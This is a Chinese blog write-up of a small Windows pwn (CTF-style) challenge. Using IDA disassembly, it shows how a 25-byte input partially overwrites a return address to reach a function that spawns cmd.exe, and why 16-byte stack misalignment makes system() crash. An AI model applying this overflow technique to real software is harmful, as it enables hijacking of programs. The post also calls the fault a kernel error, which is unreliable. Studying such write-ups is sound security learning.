在一个简单的pwn题目中探究执行系统调用前堆栈的对齐问题

发布时间 2023-11-02 19:55:22作者: 无敌超人强

题目介绍:在输入AAAAAAAAAAAAAAAAAAAAAAAAA后,程序会打开一个shell,这是为什么?字符串中的A能否更换为@
1.程序接收输入AAAAAAAAAAAAAAAAAAAAAAAAA 获得shell的原理:

.text:0000000140001584                 public vuln
.text:0000000140001584 vuln            proc near               ; CODE XREF: main+D↑p
.text:0000000140001584                                         ; DATA XREF: .pdata:000000014000F078↓o ...
.text:0000000140001584
.text:0000000140001584 DstBuf          = byte ptr -10h
.text:0000000140001584
.text:0000000140001584                 push    rbp
.text:0000000140001585                 mov     rbp, rsp
.text:0000000140001588                 sub     rsp, 30h
.text:000000014000158C                 lea     rax, [rbp+DstBuf]
.text:0000000140001590                 mov     r8d, 19h        ; MaxCharCount
.text:0000000140001596                 mov     rdx, rax        ; DstBuf
.text:0000000140001599                 mov     ecx, 0          ; FileHandle
.text:000000014000159E                 call    read
.text:00000001400015A3                 nop
.text:00000001400015A4                 add     rsp, 30h
.text:00000001400015A8                 pop     rbp
.text:00000001400015A9                 retn
.text:00000001400015A9 vuln            endp

可以看到写入的目标地址为rbp-10h处,read读入的字节数为19h,可以猜到read的输入覆盖了目标地址的16字节后,又覆盖了rbp的8字节,最后覆盖了地址的最低地址字节,由于此处地址是小端序,覆盖了地址的最低位,不难猜到,返回地址被修改到了原返回地址的附近的代码中,且根据输入AAAAAAAAAAAAAAAAAAAAAAAAA 和调用此函数的main函数代码对应的地址,可以推出地址被修改为0x0000000140001541附近的代码。

.text:0000000140001540                 public backd00r
.text:0000000140001540 backd00r        proc near               ; DATA XREF: .pdata:000000014000F06C↓o
.text:0000000140001540                 push    rbp
.text:0000000140001541                 mov     rbp, rsp
.text:0000000140001544                 sub     rsp, 20h
.text:0000000140001548                 lea     rcx, Buffer     ; "getshell"
.text:000000014000154F                 call    puts
.text:0000000140001554                 lea     rcx, Command    ; "C:\\Windows\\system32\\cmd.exe"
.text:000000014000155B                 call    system
.text:0000000140001560                 nop
.text:0000000140001561                 add     rsp, 20h
.text:0000000140001565                 pop     rbp
.text:0000000140001566                 retn
.text:0000000140001566 backd00r        endp

可以看到,该地址确实在一个名为backd00r的函数中,该函数执行系统调用获取了shell。

2.程序接收的输入中A能否更换为@

A对应ascii码为41,而@对应ascii码为40,更换后,ret指令将跳到0x0000000140001540处,多压栈了一次rbp,感觉上是可行的,因为即使堆栈不平衡应该也不会影响当前函数的调用,事实上前面的puts函数也确实能正常执行输出getshell字符串。但system却不能正常执行,使用xdbg动态调试,可以看到是在地址为0x7FFA3A437F64的语句:movaps xmmword ptr ss:[rsp+40],xmm6 处报访存异常。但不从push rbp开始时却没有这个问题。从这条语句开始分析,这条语句的意思是将xmm6浮点数寄存器保存的16字节内容存入栈中的地址,这时就不难想到是否是因为没有对齐的原因,查看此时栈中的地址,最低的16进制数不为0,确实没有对齐。

image-20230930132547743

为了验证猜想,使用IDA将back00r函数修改如下,连续压入两个rbp,此时应该能对齐,此时用@代替A,确实能执行成功。

.text:0000000140001540
.text:0000000140001540                 public backd00r
.text:0000000140001540 backd00r:                               ; DATA XREF: .pdata:000000014000F06C↓o
.text:0000000140001540                 push    rbp
.text:0000000140001541                 push    rbp
.text:0000000140001542                 nop
.text:0000000140001543                 nop
.text:0000000140001544                 sub     rsp, 20h
.text:0000000140001548                 lea     rcx, Buffer     ; "getshell"
.text:000000014000154F                 call    puts
.text:0000000140001554                 lea     rcx, Command    ; "C:\\Windows\\system32\\cmd.exe"
.text:000000014000155B                 call    system
.text:0000000140001560                 nop
.text:0000000140001561                 add     rsp, 20h
.text:0000000140001565                 pop     rsi
.text:0000000140001566                 retn

因此,使用@在此处不能代替A,虽然在执行系统调用时不会因为堆栈未平衡报错,但会在内核中一个mov语句拷贝16字节数据时因为地址未对齐而产生访存异常。